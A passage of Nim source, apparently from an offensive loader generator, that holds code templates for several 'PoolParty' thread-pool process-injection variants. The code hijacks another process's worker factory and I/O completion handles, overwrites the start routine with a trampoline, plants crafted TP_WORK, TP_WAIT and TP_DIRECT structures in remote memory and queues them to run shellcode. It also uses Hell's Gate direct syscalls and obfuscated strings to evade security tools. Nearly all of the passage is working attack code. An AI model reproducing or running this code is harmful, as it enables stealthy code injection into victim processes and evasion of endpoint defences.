0)
|
|
|
|
|
|
|
|
var pObjectInformation: ptr BYTE = nil
|
|
Sleep(100)
|
|
|
|
if (p_hDuplicatedObject != 0):
|
|
pObjectInformation = NtQueryObjectWrap(p_hDuplicatedObject, cast[OBJECT_INFORMATION_CLASS](2))
|
|
|
|
var pObjectTypeInformation: PPUBLIC_OBJECT_TYPE_INFORMATION = cast[PPUBLIC_OBJECT_TYPE_INFORMATION](pObjectInformation)
|
|
|
|
# if wsObjectType != pObjectTypeInformation.TypeName.Buffer: continue
|
|
#echo "First: ", wsObjectType
|
|
if pObjectTypeInformation == nil:
|
|
continue
|
|
if pObjectTypeInformation.TypeName.Buffer == nil:
|
|
continue
|
|
#echo "Second: ", pObjectTypeInformation.TypeName.Buffer
|
|
if(wcscmp(wsObjectType,pObjectTypeInformation.TypeName.Buffer) != 0):
|
|
continue
|
|
when defined(verbose):
|
|
echo obf("[+] Found Hijack Handle")
|
|
|
|
|
|
return p_hDuplicatedObject
|
|
|
|
return 0
|
|
|
|
|
|
proc GetWorkerFactoryBasicInformation(hWorkerFactory: HANDLE): WORKER_FACTORY_BASIC_INFORMATION =
|
|
var WorkerInput2 #[QUERY_WORKERFACTORYINFOCLASS WorkerFactoryBasicInformation2]# : QUERY_WORKERFACTORYINFOCLASS = QUERY_WORKERFACTORYINFOCLASS.WorkerFactoryBasicInformation2
|
|
var WorkerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION
|
|
var status: NTSTATUS
|
|
status = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerInput2, addr WorkerFactoryInformation, ULONG(sizeof(WorkerFactoryInformation)), nil)
|
|
return WorkerFactoryInformation
|
|
|
|
# HijackWorkerFactoryProcessHandle is equal to HijackProcessHandle with wsObjectType = "TpWorkerFactory"
|
|
|
|
proc SetupExecution(p_hWorkerFactory: HANDLE) =
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntSetInformationWorkerFactoryTable):
|
|
syscall = ntSetInformationWorkerFactoryTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtSetInformationWorkerFactory")
|
|
|
|
var WorkerFactoryMinimumThreadNumber: ULONG = 4
|
|
var WorkerFactoryInformationClass: SET_WORKERFACTORYINFOCLASS = SET_WORKERFACTORYINFOCLASS.WorkerFactoryThreadMinimum
|
|
var WorkerFactoryInformationLength: ULONG = ULONG(sizeof(ULONG))
|
|
var status: NTSTATUS
|
|
when defined(verbose):
|
|
echo obf("[+] Starting new worker and therefore leads to execution")
|
|
status = NtSetInformationWorkerFactory(p_hWorkerFactory, WorkerFactoryInformationClass, addr WorkerFactoryMinimumThreadNumber, WorkerFactoryInformationLength)
|
|
if (status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to set target process worker factory minimum threads")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Set target process worker factory minimum threads to: "), WorkerFactoryMinimumThreadNumber
|
|
|
|
proc HijackHandles(p_hWorkerFactory: HANDLE) =
|
|
var WorkerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION
|
|
WorkerFactoryInformation = GetWorkerFactoryBasicInformation(p_hWorkerFactory)
|
|
|
|
|
|
when defined(variant1):
|
|
|
|
var trampoline: seq[byte]
|
|
if defined(amd64):
|
|
trampoline = @[
|
|
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr
|
|
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10
|
|
]
|
|
var tempjumpaddr: uint64 = cast[uint64](startPointer)
|
|
copyMem(&trampoline[2] , &tempjumpaddr, 6)
|
|
elif defined(i386):
|
|
trampoline = @[
|
|
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr
|
|
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax
|
|
]
|
|
var tempjumpaddr: uint32 = cast[uint32](startPointer)
|
|
copyMem(&trampoline[1] , &tempjumpaddr, 3)
|
|
|
|
# Hijack target Worker Factory
|
|
#echo "Start hijack"
|
|
var p_hWorkerFactory: HANDLE = HijackProcessHandle("TpWorkerFactory", pHandle, WORKER_FACTORY_ALL_ACCESS)
|
|
if(p_hWorkerFactory == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to hijack the target process worker factory")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Hijacked the target process worker factory")
|
|
|
|
|
|
# Get Worker Factory Information via NtQueryInformationWorkerFactory
|
|
|
|
var workerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION = GetWorkerFactoryBasicInformation(p_hWorkerFactory)
|
|
when defined(verbose):
|
|
echo obf("[+] Got Worker Factory Information.")
|
|
# Get start routine
|
|
var startRoutine: LPVOID = workerFactoryInformation.StartRoutine
|
|
when defined(verbose):
|
|
echo obf("[+] Got start routine")
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
var sc_size: SIZE_T = cast[SIZE_T](trampoline.len)
|
|
var oldProtect: DWORD
|
|
var targetAddress: LPVOID = startRoutine
|
|
var status: NTSTATUS
|
|
|
|
status = NtProtectVirtualMemory(
|
|
pHandle,
|
|
addr targetAddress,
|
|
&sc_size,
|
|
PAGE_READWRITE,
|
|
addr oldProtect)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- old protection: "), toHex(oldProtect)
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
var bytesWritten: SIZE_T = 0
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
startRoutine,
|
|
addr trampoline[0],
|
|
trampoline.len,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
targetAddress = startRoutine
|
|
var oldProtect2: DWORD
|
|
sc_size = cast[SIZE_T](trampoline.len)
|
|
status = NtProtectVirtualMemory(
|
|
pHandle,
|
|
addr targetAddress,
|
|
&sc_size,
|
|
oldprotect,
|
|
addr oldProtect2)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- old protection: "), toHex(oldProtect2)
|
|
echo obf("")
|
|
|
|
|
|
|
|
if(status == 0):
|
|
when defined(verbose):
|
|
echo obf("[+] Successfully wrote Trampolin into start routine")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to write Trampolin into start routine")
|
|
echo toHex(status)
|
|
quit(1)
|
|
#[
|
|
var bytesWritten: SIZE_T = 0
|
|
var success: BOOL = WriteProcessMemory(
|
|
pHandle,
|
|
startRoutine,
|
|
addr trampoline[0],
|
|
trampoline.len,
|
|
addr bytesWritten
|
|
)
|
|
if(success == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to write Trampolin into start routine")
|
|
echo GetLastError()
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Successfully wrote Trampolin into start routine")
|
|
]#
|
|
# Setup execution
|
|
SetupExecution(p_hWorkerFactory)
|
|
|
|
when defined(variant2):
|
|
# Hijack target Worker Factory
|
|
var p_hWorkerFactory: HANDLE = HijackProcessHandle("TpWorkerFactory", pHandle, WORKER_FACTORY_ALL_ACCESS)
|
|
if(p_hWorkerFactory == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to hijack the target process worker factory")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Hijacked the target process worker factory")
|
|
# Get Worker Factory Information via NtQueryInformationWorkerFactory
|
|
var workerFactoryInformation: WORKER_FACTORY_BASIC_INFORMATION = GetWorkerFactoryBasicInformation(p_hWorkerFactory)
|
|
when defined(verbose):
|
|
echo obf("[+] Got Worker Factory Information.")
|
|
|
|
|
|
var targetTaskQueueHighPriorityList: LPVOID = cast[LPVOID](cast[uint64](workerFactoryInformation.StartParameter) + cast[uint64](0x1E0))
|
|
|
|
|
|
var pTpWork: LPVOID = cast[LPVOID](CreateThreadpoolWork(cast[PTP_WORK_CALLBACK](startPointer), nil, nil))
|
|
|
|
let ExchangeValue: int32 = 0x2
|
|
var ExchangeLPVOID: LPVOID = unsafeAddr ExchangeValue
|
|
copyMem(cast[LPVOID](pTpWork + 0x90), cast[LPVOID](addr workerFactoryInformation.StartParameter), 8)
|
|
copyMem(cast[LPVOID](pTpWork + 0xD8), cast[LPVOID](addr targetTaskQueueHighPriorityList), 8)
|
|
copyMem(cast[LPVOID](pTpWork + 0xE0), cast[LPVOID](addr targetTaskQueueHighPriorityList), 8)
|
|
copyMem(cast[LPVOID](pTpWork + 0xE8),ExchangeLPVOID, 8)
|
|
|
|
when defined(verbose):
|
|
echo obf("[+] Modified the TP_WORK structure to be associated with target process's TP_POOL")
|
|
#var pRemoteTpWork: LPVOID
|
|
#pRemoteTpWork = cast[LPVOID](VirtualAllocEx(pHandle, nil, 240#[SizeOf FullTpWork]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
|
|
# use NtAllocateVirtualMemory instead
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
var pRemoteTpWork: LPVOID = nil
|
|
var size: SIZE_T = cast[SIZE_T](240)#[SizeOf FullTpWork]#
|
|
var status: NTSTATUS = NtAllocateVirtualMemory(pHandle, addr pRemoteTpWork, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
if(status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_WORK structure")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Allocated memory in the target process for the specially crafted TP_WORK structure")
|
|
|
|
|
|
#var bytWritten: SIZE_T = 0
|
|
#success = WriteProcessMemory(pHandle, pRemoteTpWork, pTpWork, sizeof(FULL_TP_WORK), addr bytWritten)
|
|
#if(success == 0):
|
|
# quit(1)
|
|
# Use the same combination as above with NtProtect NtWrite NtProtect instead of WriteProcessMemory
|
|
|
|
var targetAddress: LPVOID = pRemoteTpWork
|
|
var oldProtect: DWORD
|
|
var sc_size: SIZE_T = 240#[SizeOf FullTpWork]#
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
var bytesWritten: SIZE_T = 0
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
pRemoteTpWork,
|
|
pTpWork,
|
|
240#[SizeOf FullTpWork]#,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
var RemoteWorkItemTaskList: LPVOID = (cast[LPVOID](pRemoteTpWork) + 0xD8)
|
|
|
|
#targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E0)
|
|
#success = WriteProcessMemory(pHandle,targetAddress,addr RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), addr bytWritten)
|
|
#if(success == 0):
|
|
# when defined(verbose):
|
|
# echo obf("[-] Queue Entry one overwrite failed")
|
|
# echo GetLastError()
|
|
# quit(1)
|
|
|
|
# same one more time
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E0)
|
|
var oldProtect3: DWORD
|
|
sc_size = cast[SIZE_T](8)
|
|
var protectAddress: LPVOID = targetAddress
|
|
status = NtProtectVirtualMemory(
|
|
pHandle,
|
|
addr protectAddress,
|
|
&sc_size,
|
|
PAGE_READWRITE,
|
|
addr oldProtect3)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- old protection: "), toHex(oldProtect3)
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
targetAddress,
|
|
addr RemoteWorkItemTaskList,
|
|
8,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E0)
|
|
var oldProtect4: DWORD
|
|
protectAddress = targetAddress
|
|
sc_size = cast[SIZE_T](8)
|
|
status = NtProtectVirtualMemory(
|
|
pHandle,
|
|
addr protectAddress,
|
|
&sc_size,
|
|
oldProtect3,
|
|
addr oldProtect4)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- old protection: "), toHex(oldProtect4)
|
|
echo obf("")
|
|
|
|
#targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E8)
|
|
#success = WriteProcessMemory(pHandle,targetAddress,addr RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), addr bytWritten)
|
|
#if(success == 0):
|
|
# when defined(verbose):
|
|
# echo obf("[-] Queue Entry two overwrite failed")
|
|
# echo GetLastError()
|
|
# quit(1)
|
|
|
|
# and one more
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E8)
|
|
var oldProtect5: DWORD
|
|
sc_size = cast[SIZE_T](8)
|
|
protectAddress = targetAddress
|
|
status = NtProtectVirtualMemory(
|
|
pHandle,
|
|
addr protectAddress,
|
|
&sc_size,
|
|
PAGE_READWRITE,
|
|
addr oldProtect5)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- old protection: "), toHex(oldProtect5)
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
targetAddress,
|
|
addr RemoteWorkItemTaskList,
|
|
8,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
targetAddress = cast[LPVOID](cast[LPVOID](workerFactoryInformation.StartParameter) + 0x1E8)
|
|
var oldProtect6: DWORD
|
|
sc_size = 8
|
|
protectAddress = targetAddress
|
|
status = NtProtectVirtualMemory(
|
|
pHandle,
|
|
addr protectAddress,
|
|
&sc_size,
|
|
oldProtect5,
|
|
addr oldProtect6)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- old protection: "), toHex(oldProtect6)
|
|
echo obf("")
|
|
|
|
|
|
|
|
when defined(verbose):
|
|
echo obf("[+] Modified the target process's TP_POOL task queue list entry to point to the specially crafted TP_WORK")
|
|
|
|
|
|
when defined(variant3):
|
|
|
|
|
|
var pTpWait: LPVOID = cast[LPVOID](CreateThreadpoolWait(cast[PTP_WAIT_CALLBACK](startPointer), nil, nil))
|
|
when defined(verbose):
|
|
echo obf("[+] Created TP_WAIT structure associated with the shellcode")
|
|
echo obf("------------------------------------------------------------------------------------\r\n")
|
|
|
|
#var pRemoteTpWait: PVOID
|
|
#pRemoteTpWait = cast[PVOID](VirtualAllocEx(pHandle, nil, 472 #[sizeof(FULL_TP_WAIT)]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
|
|
# use NtAllocateVirtualMemory instead
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
var pRemoteTpWait: LPVOID = nil
|
|
var size: SIZE_T = cast[SIZE_T](472)#[sizeof(FULL_TP_WAIT)]#
|
|
var status: NTSTATUS = NtAllocateVirtualMemory(pHandle, addr pRemoteTpWait, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
if(status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_WAIT structure")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Allocated memory in the target process for the specially crafted TP_WAIT structure")
|
|
|
|
|
|
#var bytWritten: SIZE_T = 0
|
|
#success = WriteProcessMemory(pHandle, pRemoteTpWait, pTpWait, 472#[sizeof(FULL_TP_WAIT)]#, addr bytWritten)
|
|
#if(success == 0):
|
|
# when defined(verbose):
|
|
# echo obf("[-] Failed to write the specially crafted TP_WAIT structure to the target process")
|
|
# quit(1)
|
|
|
|
# as above with NT functions
|
|
var targetAddress: LPVOID = pRemoteTpWait
|
|
var oldProtect: DWORD
|
|
var sc_size: SIZE_T = 472#[sizeof(FULL_TP_WAIT)]#
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
var bytesWritten: SIZE_T = 0
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
pRemoteTpWait,
|
|
pTpWait,
|
|
472#[sizeof(FULL_TP_WAIT)]#,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
#var pRemoteTpDirect: PVOID
|
|
#pRemoteTpDirect = cast[PVOID](VirtualAllocEx(pHandle, nil, 72#[sizeof(TP_DIRECT)]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
|
|
# NtAllocateVirtualMemory again
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
var pRemoteTpDirect: LPVOID = nil
|
|
size = cast[SIZE_T](72)#[sizeof(TP_DIRECT)]#
|
|
status = NtAllocateVirtualMemory(pHandle, addr pRemoteTpDirect, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
if(status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_DIRECT structure")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Allocated memory in the target process for the specially crafted TP_DIRECT structure")
|
|
|
|
|
|
#var pTpWait_Direct: PVOID = cast[PVOID](pTpWait + 0x188)
|
|
#success = WriteProcessMemory(pHandle, pRemoteTpDirect, pTpWait_Direct, 72#[sizeof(TP_DIRECT)]#, addr bytWritten)
|
|
#if(success == 0):
|
|
# when defined(verbose):
|
|
# echo obf("[-] Failed to write the TP_DIRECT structure to the target process")
|
|
# quit(1)
|
|
#else:
|
|
# when defined(verbose):
|
|
# echo obf("[+] Successfully written the TP_DIRECT structure to the target process")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
# as above with NT functions
|
|
targetAddress = pRemoteTpDirect
|
|
sc_size = cast[SIZE_T](72)#[sizeof(TP_DIRECT)]#
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
pRemoteTpDirect,
|
|
cast[LPVOID](pTpWait + 0x188),
|
|
72#[sizeof(TP_DIRECT)]#,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
|
|
|
|
var p_hEvent: HANDLE = CreateEvent(nil, FALSE, FALSE, "PoolParty")
|
|
if(p_hEvent == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to create event with name `PoolPartyEvent`")
|
|
when defined(verbose):
|
|
echo GetLastError()
|
|
quit(1)
|
|
|
|
var pTpWaitWaitPkt: LPVOID = cast[LPVOID](cast[LPVOID](pTpWait + 0x170)#[waitPkt offset]#)
|
|
var testHandle: HANDLE
|
|
var testHandleAddr: ptr HANDLE = addr testHandle
|
|
# copyMem from pTpWaitWaitPkt to testHandleAddr
|
|
copyMem(cast[LPVOID](addr testHandle), pTpWaitWaitPkt, 8)
|
|
var m_p_hIoCompletion: HANDLE = HijackProcessHandle("IoCompletion", pHandle, IO_COMPLETION_ALL_ACCESS)
|
|
if (m_p_hIoCompletion == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to hijack the IO completion port of the target process worker factory")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Hijacked the IO completion port of the target process worker factory")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(zwAssociateWaitCompletionPacketTable):
|
|
syscall = zwAssociateWaitCompletionPacketTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for ZwAssociateWaitCompletionPacket")
|
|
|
|
var ulongValue: ULONG = 0
|
|
var ulongPtr: ULONG_PTR = cast[ULONG_PTR](addr ulongValue)
|
|
var booleanValue: BOOLEAN = 0
|
|
var booleanPointer: PBOOLEAN = cast[PBOOLEAN](addr booleanValue)
|
|
status = ZwAssociateWaitCompletionPacket(cast[HANDLE](testHandle), m_p_hIoCompletion, p_hEvent, pRemoteTpDirect, pRemoteTpWait, 0, ulongPtr, booleanPointer)
|
|
|
|
if(status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to associate event with the IO completion port of the target process worker factory")
|
|
when defined(verbose):
|
|
echo toHex(status)
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Associated event with the IO completion port of the target process worker factory")
|
|
|
|
success = SetEvent(p_hEvent)
|
|
if(success == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to set event to queue a packet to the IO completion port of the target process worker factory")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Set event to queue a packet to the IO completion port of the target process worker factory")
|
|
|
|
|
|
|
|
when defined(variant4):
|
|
|
|
var m_p_hIoCompletion: HANDLE = HijackProcessHandle("IoCompletion", pHandle, IO_COMPLETION_ALL_ACCESS)
|
|
if (m_p_hIoCompletion == 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to hijack the IO completion port of the target process worker factory")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Hijacked the IO completion port of the target process worker factory")
|
|
var Direct : TP_DIRECT
|
|
# print sizeof TP_DIRECT
|
|
|
|
Direct.Callback = cast[PTP_WIN32_IO_CALLBACK](startPointer)
|
|
|
|
#var RemoteDirectAddress: LPVOID
|
|
#RemoteDirectAddress = cast[LPVOID](VirtualAllocEx(pHandle, nil, 72#[sizeof(TP_DIRECT)]#, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE))
|
|
# use NtAllocateVirtualMemory instead
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
var RemoteDirectAddress: LPVOID = nil
|
|
var size: SIZE_T = cast[SIZE_T](72)#[sizeof(TP_DIRECT)]#
|
|
var status: NTSTATUS = NtAllocateVirtualMemory(pHandle, addr RemoteDirectAddress, 0, addr size, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
if(status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory in the target process for the specially crafted TP_DIRECT structure")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Allocated memory in the target process for the specially crafted TP_DIRECT structure")
|
|
|
|
#var bytWritten: SIZE_T = 0
|
|
#success = WriteProcessMemory(pHandle, RemoteDirectAddress, addr Direct, 72#[sizeof(TP_DIRECT)]#, addr bytWritten)
|
|
#if(success == 0):
|
|
# when defined(verbose):
|
|
# echo obf("Failed to write the TP_DIRECT structure to the target process")
|
|
# quit(1)
|
|
|
|
# as above with NT functions
|
|
|
|
var targetAddress: LPVOID = RemoteDirectAddress
|
|
var oldProtect: DWORD
|
|
var sc_size: SIZE_T = 72#[sizeof(TP_DIRECT)]#
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
var bytesWritten: SIZE_T = 0
|
|
status = NtWriteVirtualMemory(
|
|
pHandle,
|
|
RemoteDirectAddress,
|
|
addr Direct,
|
|
72#[sizeof(TP_DIRECT)]#,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(zwSetIoCompletionTable):
|
|
syscall = zwSetIoCompletionTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for ZwSetIoCompletion")
|
|
|
|
var ulongValue: ULONG = 0
|
|
var ulongPtr: ULONG_PTR = cast[ULONG_PTR](addr ulongValue)
|
|
status = ZwSetIoCompletion(m_p_hIoCompletion, RemoteDirectAddress, nil, 0, ulongPtr)
|
|
if(status != 0):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to queue a packet to the IO completion port of the target process worker factory")
|
|
echo toHex(status)
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] Queued a packet to the IO completion port of the target process worker factory")
|
|
|
|
|
|
"""
|
|
|
|
|
|
let PoolpartyTypeDefs* = """
|
|
|
|
|
|
|
|
type PROCESS_HANDLE_TABLE_ENTRY_INFO* = object
|
|
HandleValue: HANDLE
|
|
HandleCount: ULONG_PTR
|
|
PointerCount: ULONG_PTR
|
|
GrantedAccess: ACCESS_MASK
|
|
ObjectTypeIndex: ULONG
|
|
HandleAttributes: ULONG
|
|
Reserved: ULONG
|
|
|
|
|
|
type PROCESS_HANDLE_SNAPSHOT_INFORMATION* = object
|
|
NumberOfHandles: ULONG_PTR
|
|
Reserved: ULONG_PTR
|
|
Handles: array[0..0, PROCESS_HANDLE_TABLE_ENTRY_INFO]
|
|
|
|
|
|
type PPROCESS_HANDLE_SNAPSHOT_INFORMATION* = ptr PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
|
|
var ProcessHandleInformation*: PROCESS_INFORMATION_CLASS = 51
|
|
|
|
|
|
type WORKER_FACTORY_BASIC_INFORMATION* = object
|
|
Timeout: LARGE_INTEGER
|
|
RetryTimeout: LARGE_INTEGER
|
|
IdleTimeout: LARGE_INTEGER
|
|
Paused: BOOLEAN
|
|
TimerSet: BOOLEAN
|
|
QueuedToExWorker: BOOLEAN
|
|
MayCreate: BOOLEAN
|
|
CreateInProgress: BOOLEAN
|
|
InsertedIntoQueue: BOOLEAN
|
|
Shutdown: BOOLEAN
|
|
